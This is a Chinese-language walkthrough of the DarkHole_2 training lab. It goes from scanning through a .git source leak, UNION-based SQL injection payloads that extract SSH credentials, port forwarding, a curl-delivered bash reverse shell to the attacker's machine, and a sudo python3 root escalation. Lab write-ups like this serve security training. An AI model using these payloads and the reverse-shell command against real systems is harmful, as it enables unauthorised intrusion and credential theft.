启动与信息收集
首先启动靶机,在 Kali Linux 中使用 Nmap 对目标网段进行存活主机扫描。
nmap -sn 192.168.5.0/24

扫描结果显示目标 IP 为 192.168.5.241。接下来对该主机进行端口和服务版本探测。
nmap -sV 192.168.5.241

探测结果显示开放了 22 (SSH) 和 80 (HTTP) 端口。访问 80 端口,看到一个名为 “DarkHole V2” 的网站。

使用 whatweb 扫描网站指纹信息,没有发现特别有价值的内容。
whatweb 192.168.5.241

目录枚举与.git文件泄露
使用 dirsearch 工具对网站进行目录扫描。
dirsearch -u http://192.168.5.241

扫描结果中出现了关键的 /.git 目录,这表明网站可能存在 Git 版本控制信息泄露。我们可以尝试下载整个 .git 目录来获取源代码。
首先,下载并解压 git-dumper 工具。
tar -zxvf git-dumper-1.0.8.tar.gz
-z: 使用 gzip 解压,适用于 .tar.gz 文件。
-x: 从归档中提取文件。
-v: 显示详细过程。
-f: 指定要解压的文件名。
进入解压后的目录,安装依赖并执行脚本,将远程的 .git 仓库下载到本地 hackgit 文件夹。
pip install -r requirements.txt
sudo ./git_dumper.py http://192.168.5.241/.git hackgit
cd hackgit

成功下载了网站的 PHP 源代码。接着,我们查看 Git 的提交日志。
git log

日志显示有几次提交,其中一条提交信息为 “I added login.php file with default credentials”。我们可以使用 git diff 查看这次提交的具体改动。
git diff a4d900a8d5e8938d3601f3cef113ee293028e10

在差异对比中,清晰地看到 login.php 文件中硬编码了默认凭证:lush@admin.com 和 321。
登录与SQL注入利用
使用得到的账号密码成功登录系统。登录后,访问的 URL 中包含 id=1 的参数,这很可能存在注入点。

首先判断注入类型。尝试 id=1 和 id=1’,发现单引号导致报错或页面异常,确认是字符型注入,闭合方式为单引号。
为了让应用回显我们构造的查询结果,需要使原始查询失效。构造以下 Payload 来获取数据库名、版本等信息。
http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,@@datadir,@@basedir --+

页面回显了数据库名 darkhole_2、MySQL 版本等信息。接下来查询当前数据库中的所有表。
http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,group_concat(table_name),@@basedir from information_schema.tables where table_schema=database() --+

发现一个名为 ssh 的表,很可能存放了 SSH 登录凭证。接着查询该表的所有列名。
http://192.168.5.241/dashboard.php?id=-1' union select 1,database(),version(),4,group_concat(column_name),@@basedir from information_schema.columns where table_name='ssh'--+

ssh 表中有 id, user, pass 三列。最后,查询 user 和 pass 列的具体数据。
http://192.168.5.241/dashboard.php?id=-1' union select 1,2,3,4,group_concat(user,'|',pass),@@basedir from ssh--+

成功获取到 SSH 凭证:jehad@fool。
横向移动与权限提升
使用获取到的 SSH 凭证登录目标服务器。
ssh jehad@192.168.5.241

登录后开始信息收集。首先检查计划任务。
cat /etc/crontab

发现一个由用户 losy 执行的计划任务,每分钟运行一次,在 /opt/web 目录下启动了一个 PHP 内置 Web 服务(监听 localhost:9999)。查看当前用户的命令历史记录。
cat .bash_history

在历史记录中,发现了多条向 http://localhost:9999 发送的 curl 请求,并且 ?cmd= 参数后面跟着系统命令。这表明该 PHP 服务可能提供了远程命令执行(RCE)功能。检查网络连接,确认 9999 端口正在监听。
netstat -antp

由于该服务只绑定在 127.0.0.1,我们需要使用 SSH 本地端口转发,将靶机的 9999 端口转发到我们 Kali 的 9999 端口上。
在 Kali 上执行以下命令建立隧道:
ssh -L 9999:127.0.0.1:9999 jehad@192.168.5.241

隧道建立后,在 Kali 上访问 http://127.0.0.1:9999 就相当于访问了靶机内部的 localhost:9999 服务。接下来,利用该服务的命令执行功能反弹一个 Shell 回 Kali。
首先在 Kali 上监听 4444 端口。
nc -lvp 4444
然后通过 curl 向转发的服务发送命令,创建一个反向 Shell 连接。
curl "http://127.0.0.1:9999/?cmd=bash+-c+'bash+-i+>%26+%2fdev%2ftcp%2f192.168.5.235%2f4444+0>%261'"
成功接收到一个来自 losy 用户的 Shell。

在这个 Shell 中再次查看 losy 用户的 .bash_history,发现了其密码 gang。

新开一个终端,使用 losy 的凭证通过 SSH 登录。
ssh losy@192.168.5.241
登录后,检查 losy 用户可以通过 sudo 执行的命令。
sudo -l

结果显示,losy 用户可以以 root 身份无需密码执行 /usr/bin/python3。这是一个经典的 渗透测试 提权路径。我们可以利用 Python 直接启动一个具有 root 权限的 Shell。
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'

成功获得 root 权限!最后,读取 flag 文件。
cat /root/root.txt
至此,DarkHole_2 靶场的完整渗透测试流程结束,涵盖了信息收集、.git泄露利用、SQL注入、横向移动和权限提升等多个关键环节。
希望这份详细的实战记录能对你有所启发,也欢迎你将你的实战经验分享到 云栈社区 与更多安全爱好者交流。